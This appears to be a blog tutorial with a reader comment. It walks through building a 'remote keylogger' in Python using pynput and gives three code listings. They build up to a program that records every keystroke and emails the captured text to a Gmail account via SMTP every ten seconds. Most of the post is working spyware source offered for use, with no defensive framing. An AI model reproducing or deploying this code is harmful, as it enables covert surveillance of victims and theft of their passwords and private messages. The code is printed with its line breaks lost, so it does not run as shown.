Create Remote KeyLogger using Python
hello everyone we are back with new python program in which we are going to create a remote keylogger for this first we must have to learn what is KeyLogger.
KeyLogger:
so KeyLogger is a simple software which store every keystrokes by you and store it somewhere and you can access it later anytime when you want to see which key you typed.
Remote KeyLogger:
The only difference between remote keylogger and the keylogger is that user can access the keystrokes only in the same system where the program is running in normal keylogger but in remote keylogger an additional feature is that you can or anyone can access the keystrokes from anywhere.
what remote keylogger actually do is it send the keystrokes file on the server from where anyone can access the keystrokes who has access to the server.
for the video explanation and practical view of how actually a remote keylogger works that we will create on our next blog you can click the link here
import pynput.keyboard log = "" def key_pressed(string): global log try: log = log + str(string.char) except AttributeError: log = log + str(string) print(log) keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed) with keyboard_listener: keyboard_listener.join()
for the explaination of the code and to learn how this code work visit the link
so after the completion of above code we add a new code for the same where we add some more things in our code for better explanation of all these things you can watch the video here and the code for the video is given below
import threading import pynput.keyboard log = "" def key_pressed(string): global log try: log = log + str(string.char) except AttributeError: if string == string.space: log = log + " " elif string == string.backspace: log = log + "<--" else: log = log + str(string) def report(): global log print(log) log = "" timer = threading.Timer(60, report) timer.start() keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed) with keyboard_listener: report() keyboard_listener.join()
so the last video is already out you can watch that video here in this video we discussed how to convert our program or keylogger into remote keylogger for better understanding watch the video.
import threading import smtplib import pynput.keyboard log = "" def key_pressed(string): global log try: log = log + str(string.char) except AttributeError: if string == string.space: log = log + " " elif string == string.backspace: log = log + "<--" else: log = log + str(string) def report(): global log, password mail("example@gmail.com", "password", log) print("mail sent") log = "" timer = threading.Timer(10, report) timer.start() def mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() keyboard_listener = pynput.keyboard.Listener(on_press=key_pressed) with keyboard_listener: report()
keyboard_listener.join()
Bhai ye error aa raha h.
ReplyDeleteKeyboard_listener = pynput. Keyboard. Listene(on_press=key_pressed)
AttributeError: module 'pynput. Keyboard' has no attribute 'listener'